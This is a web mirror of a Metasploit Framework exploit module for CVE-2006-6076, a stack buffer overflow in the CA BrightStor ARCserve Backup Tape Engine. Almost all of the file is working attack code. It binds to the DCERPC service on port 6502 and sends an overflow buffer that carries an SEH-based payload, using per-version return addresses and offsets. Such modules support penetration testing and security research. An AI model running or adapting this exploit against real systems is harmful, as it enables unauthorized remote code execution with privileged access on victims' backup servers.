CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/tape_engine.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
17
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
18
the buffer and execute arbitrary code.
19
},
20
'Author' => [ 'MC', 'aushack' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2006-6076' ],
25
[ 'OSVDB', '30637' ],
26
[ 'BID', '21221' ],
27
[ 'EDB', '3086' ]
28
],
29
'Privileged' => true,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 500,
37
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
38
'StackAdjustment' => -9500,
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
44
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
45
],
46
'DisclosureDate' => '2006-11-21',
47
'DefaultTarget' => 1))
48
49
register_options([ Opt::RPORT(6502) ])
50
end
51
52
def exploit
53
connect
54
55
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
56
print_status("Binding to #{handle} ...")
57
58
dcerpc_bind(handle)
59
print_status("Bound to #{handle} ...")
60
61
request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
62
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
63
64
dcerpc.call(43, request)
65
66
filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
67
seh = generate_seh_payload(target.ret)
68
sploit = filler + seh
69
70
print_status("Trying target #{target.name}...")
71
72
begin
73
dcerpc_call(38, sploit)
74
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
75
end
76
77
handler
78
disconnect
79
end
80
end
81
82